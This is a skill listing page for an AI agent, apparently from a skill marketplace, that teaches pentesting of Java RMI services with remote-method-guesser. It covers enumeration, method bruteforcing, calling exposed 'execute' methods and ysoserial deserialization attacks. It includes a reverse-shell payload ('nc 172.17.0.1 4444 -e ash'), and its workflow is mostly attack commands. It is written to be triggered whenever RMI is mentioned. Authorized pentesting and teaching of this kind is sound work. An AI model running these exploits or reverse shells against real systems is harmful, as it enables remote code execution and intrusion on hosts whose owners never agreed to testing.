# Java Rmi Pentesting

> Pentest Java RMI (Remote Method Invocation) services on ports 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999. Use this skill whenever the user mentions Java RMI, RMI registry, remote method invocation, JMX RMI, or needs to enumerate/exploit Java RMI services. This skill covers enumeration with remote-method-guesser, method signature bruteforcing, deserialization attacks, and known vulnerability checks.

- Skill: `abelrguezr/java-rmi-pentesting` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/java-rmi-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/java-rmi-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/java-rmi-pentesting

---


# Java RMI Pentesting

Java Remote Method Invocation (RMI) is an object-oriented RPC mechanism that allows objects in one Java VM to call methods on objects in another Java VM. From a security perspective, RMI services are common attack vectors due to insecure deserialization, exposed methods, and misconfigurations.

## Quick Start

When you encounter a Java RMI service, follow this workflow:

1. **Enumerate** the RMI registry and bound names
2. **Guess methods** on exposed services
3. **Exploit** identified vulnerabilities (deserialization, RCE methods, etc.)

## Common Ports

```bash
# Default RMI ports to check
1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999
```

Note: Remote objects often bind to random high ports. Check nmap output for `java-rmi` or `ssl/java-rmi` services.

## Step 1: Enumerate RMI Services

Use `remote-method-guesser` (rmg) to enumerate the RMI registry:

```bash
# Basic enumeration
rmg enum {TARGET_IP} {PORT}

# Example
rmg enum 172.17.0.2 9010
```

This reveals:
- **Bound names** - Human-readable names for RMI services
- **Class names** - Implemented interfaces/classes
- **Endpoints** - IP:port where objects listen
- **Vulnerabilities** - CVE-2019-2684, JEP290 bypass, deserialization issues
- **Codebase URLs** - Where classes are loaded from

### Key Enumeration Outputs to Watch For

| Finding | Meaning | Action |
|---------|---------|--------|
| `Vulnerable` on CVE-2019-2684 | Localhost bypass possible | Exploit with rmg |
| `JEP290 bypass: Vulnerable` | Deserialization filter bypass | Use rmg serial |
| `Deserialization allowed` | Unsafe deserialization | Craft gadget chains |
| `useCodebaseOnly=false` | Server parses codebase | Potential RCE |
| `Security Manager: Current Default` | Protection enabled | May need bypass |

## Step 2: Analyze ObjID for Service Uptime

ObjID values can reveal when a service started:

```bash
rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```

This shows the timestamp when the RMI object was created, helping identify:
- Service restarts
- Deployment changes
- Correlation with other vulnerabilities

## Step 3: Bruteforce Remote Methods

Even without identified vulnerabilities, RMI services may expose dangerous methods. RMI doesn't support method enumeration, so bruteforce is necessary:

```bash
# Guess methods on all bound services
rmg guess {TARGET_IP} {PORT}

# Example output shows discovered methods:
# [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
# [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
```

### Method Guessing Strategy

1. Run `rmg guess` to discover method signatures
2. Look for dangerous method names: `execute`, `system`, `eval`, `run`, `login`, `upload`
3. Check parameter types for injection points (String, HashMap, Object)

## Step 4: Exploit Identified Methods

### Call Discovered Methods

```bash
# Execute a discovered method
rmg call {TARGET_IP} {PORT} '{ARGUMENT}' \
  --bound-name '{SERVICE_NAME}' \
  --signature '{METHOD_SIGNATURE}' \
  --plugin GenericPrint.jar

# Example
rmg call 172.17.0.2 9010 '"id"' \
  --bound-name plain-server \
  --signature "String execute(String dummy)" \
  --plugin GenericPrint.jar
```

### Deserialization Attacks

When deserialization is possible, use ysoserial gadgets:

```bash
# Deserialization attack with CommonsCollections6
rmg serial {TARGET_IP} {PORT} CommonsCollections6 '{PAYLOAD}' \
  --bound-name '{SERVICE_NAME}' \
  --signature '{METHOD_SIGNATURE}'

# Example
rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' \
  --bound-name plain-server \
  --signature "String execute(String dummy)"
```

### Common Gadgets

- `CommonsCollections6` - Most reliable, works on many versions
- `CommonsCollections5` - Alternative for older Java
- `Jdk7u2` - For very old Java versions
- `AnTrinh` - JEP290 bypass gadget

## Step 5: Known Interface Exploitation

If rmg identifies a known class (e.g., JMX Server), use the `known` action:

```bash
# Get details on known RMI classes
rmg known javax.management.remote.rmi.RMIServerImpl_Stub
```

### JMX Server Exploitation

JMX RMI services often expose:
- **MLet MBean** - Dynamic MBean loading = RCE
- **Deserialization** - Even after CVE-2016-3427, RMIConnection is unfiltered

Use [beanshooter](https://github.com/qtc-de/beanshooter) for JMX exploitation.

## Step 6: Search for Source Code

Use bound names and class names to search:

```bash
# Search GitHub for the interface
site:github.com "de.qtc.rmg.server.interfaces.IPlainServer"

# Search for bound names
site:github.com "plain-server" "RMI"
```

Finding source code reveals:
- All available methods
- Authentication bypasses
- Hardcoded credentials
- Additional vulnerabilities

## Tools Reference

| Tool | Purpose | Command |
|------|---------|--------|
| [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) | Full RMI pentesting suite | `rmg enum|guess|call|serial` |
| [rmiscout](https://github.com/BishopFox/rmiscout) | Method bruteforcing | `rmiscout.py` |
| [BaRMIe](https://github.com/NickstaDB/BaRMIe) | RMI enumeration | `barmie.py` |
| [beanshooter](https://github.com/qtc-de/beanshooter) | JMX exploitation | `beanshooter.py` |

## Common Vulnerabilities

### CVE-2019-2684 (Localhost Bypass)

RMI registry allows unbind operations that bypass localhost restrictions.

**Check:** `rmg enum` shows `Vulnerable` on localhost bypass enumeration

**Exploit:** Use rmg with appropriate payload

### JEP290 Bypass

JEP290 added deserialization filters, but many implementations have bypasses.

**Check:** `rmg enum` shows `JEP290 bypass: Vulnerable`

**Exploit:** Use `rmg serial` with AnTrinh or other bypass gadgets

### Insecure Deserialization

Custom RMI services often lack deserialization filters.

**Check:** `rmg enum` shows `Deserialization allowed`

**Exploit:** Use `rmg serial` with ysoserial gadgets

## Workflow Summary

```bash
# 1. Enumerate
rmg enum {IP} {PORT}

# 2. Check ObjID for uptime
rmg objid '{OBJID}'

# 3. Guess methods
rmg guess {IP} {PORT}

# 4. Call dangerous methods
rmg call {IP} {PORT} '{ARG}' --bound-name '{NAME}' --signature '{SIG}'

# 5. Deserialization attacks
rmg serial {IP} {PORT} CommonsCollections6 '{PAYLOAD}' --bound-name '{NAME}' --signature '{SIG}'

# 6. Known interfaces
rmg known '{CLASS_NAME}'
```

## Tips

1. **Always enumerate first** - Don't skip the `rmg enum` step
2. **Check all ports** - RMI objects bind to random ports
3. **Look for codebase URLs** - These often reveal internal paths
4. **Search GitHub** - Bound names and class names are often unique
5. **Try multiple gadgets** - Different Java versions need different payloads
6. **Use GenericPrint.jar** - For testing method calls without side effects

## References

- [remote-method-guesser Documentation](https://github.com/qtc-de/remote-method-guesser)
- [Attacking Java RMI after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing Guide](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [rmiscout Blog Post](https://bishopfox.com/blog/rmiscout)
- [BlackHat RMI Talk](https://youtu.be/t_aw1mDNhzI?t=202)

